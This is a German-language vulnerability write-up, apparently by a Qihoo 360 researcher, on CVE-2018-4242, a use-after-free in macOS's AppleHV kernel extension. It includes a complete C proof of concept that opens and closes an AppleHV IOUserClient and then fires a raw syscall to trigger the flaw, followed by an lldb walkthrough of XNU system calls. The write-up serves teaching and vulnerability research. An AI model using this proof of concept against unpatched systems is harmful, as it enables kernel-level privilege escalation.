
Zhuo Liang vom Qihoo 360 Nirvan Team
1.1 CVE-2018-4242 . . . . . . . . . . . . . . . . . . . . . . . . . 1
2.1 Systemaufruf . . . . . . . . . . . . . . . . . . . . . . . . . . 2
2.2 MIG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.2.1 mach_msg und Mach-Port . . . . . . . . . . . . . . . . . 6
2.2.2 MIG: Generator für RPC-Schnittstellen . . . . . . . . . . . 8
2.3 IOKit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.3.1 IOUserClient . . . . . . . . . . . . . . . . . . . . . . . 12
3.1 Reverse Engineering . . . . . . . . . . . . . . . . . . . . . . 12
3.2 Schwachstelle . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.3 Behebung . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1.1 CVE-2018-4242
Apple hat letzte Woche das macOs 10.13.4-Sicherheitsupdate für die im März gemeldete CVE-2018-4242 veröffentlicht. Diese CVE-2018-4242 ist eine Schwachstelle, durch die ein bösartiges Programm beliebigen Code mit Kernel-Berechtigungen ausführen kann. Dieser Bericht soll helfen, XNU anhand dieses Problems zu untersuchen. Der Code in Listing 1 ist unser demonstrierter PoC. Den vollständigen Quellcode kann von github heruntergeladen werden.
1 // AppleHVUaF.c
2 void destroy_vm() {
3 asm("mov $0x03000000, %rax; mov $0x04, %rdi; syscall");
4 return;
5 }
6 int main(int argc, char **argv) {
7 const char *service_name = "AppleHV";
8 io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
9
10 if (service == MACH_PORT_NULL) {
11 printf("[−] Cannot get matching service of %s\n", service_name);
12 return 0;
13 }
14 printf("[+] Get matching service of %s succeed, service=0x%x\n", service_name, service);
15
16 io_connect_t client = MACH_PORT_NULL;
17 kern_return_t ret = IOServiceOpen(service, mach_task_self(), 0, &client);
18 if (ret != KERN_SUCCESS) {
19 printf("[−] Open service of %s failed!\n", service_name);
20 return 0;
21 }
22 printf("[+] Create IOUserClient of %s succeed, client=0x%x\n",
23 service_name, client);
24 IOServiceClose(client);
25 usleep(5);
26 destroy_vm();
27 return 0;
28 }
Listing 1: PoC für CVE-2018-4242
Um diesen Code zu verstehen, sind einige Grundkenntnisse über XNU erforderlich. Für Leser, die mit XNU noch nicht vertraut sind, behandelt Abschnitt 2 die Grundlagen von XNU. Wenn Sie die folgenden Punkte bereits kennen, können Sie direkt mit Abschnitt 3 fortfahren.
Abschnitt 1 Einführung
Abschnitt 2 Grundlagenwissen über XNU
Abschnitt 3 Reverse Engineering von AppleHV.kext und Details zu CVE-2018-4242
Abschnitt 4 Fazit
Wie wir alle wissen, ist ein Systemaufruf in der Informatik eine Möglichkeit für Programme, mit dem Betriebssystem zu interagieren. Prozesse auf Benutzerebene können über einen Systemaufruf Dienste des Betriebssystems anfordern. In XNU gibt es vier Klassen von Systemaufrufen, die die gesamte Benutzer-Kernel-Interaktion ermöglichen. Lassen Sie uns diese anhand der syscall-Anweisung aus Listing 1 genauer untersuchen. syscall auf der x86_64-Architektur ist die Art von Befehl, die einen OS-Systemaufruf-Handler im Kernelspace aufrufen kann. Listing 2 veranschaulicht, wie syscall anhand eines einfachen write-Beispiels funktioniert.
~ cat write.c
2 #include
3 int main() {
4 write(0, "Hello\n", 6);
5 return 0;
6 }
7 ~ clang write.c −o write
8 ~ lldb write
9 (lldbinit) b libsystem_kernel.dylib`write
10 Breakpoint 1: where = libsystem_kernel.dylib`write, address = 0x000000000001e6f8
11 (lldbinit) r
12 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[regs]
13 RAX: 0x0000000000000006 RBX: 0x0000000000000000 RBP: 0x00007FFEEFBFF8D0
14 RSP: 0x00007FFEEFBFF8B8 RDI: 0x0000000000000000 RSI: 0x0000000100000FA2
15 RDX: 0x0000000000000006 RCX: 0x00007FFEEFBFF9F8 RIP: 0x00007FFF7ED096F8
16 R8: 0x0000000000000000 R9: 0xFFFFFFFF00000000 R10: 0x00007FFEEFBFFA48
17 R11: 0x00007FFF7ED096F8 R12: 0x0000000000000000 R13: 0x0000000000000000
18 R14: 0x0000000000000000 R15: 0x0000000000000000
19 CS: 002B FS: 0000 GS: 0000
20 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[code]
21 write @ libsystem_kernel.dylib:
22 −> 0x7fff7ed096f8: b8 04 00 00 02 mov eax, 0x2000004
23 0x7fff7ed096fd: 49 89 ca mov r10, rcx
24 0x7fff7ed09700: 0f 05 syscall
25 0x7fff7ed09702: 73 08 jae 0x7fff7ed0970c ; <+20>
26 0x7fff7ed09704: 48 89 c7 mov rdi, rax
27 0x7fff7ed09707: e9 19 54 ff ff jmp 0x7fff7ecfeb25 ; cerror
28 0x7fff7ed0970c: c3 ret
29 0x7fff7ed0970d: 90 nop
30 (lldbinit) x/s rsi
31 0x100000fa2: "Hello\n"
Listing 2: Einfaches write-Beispiel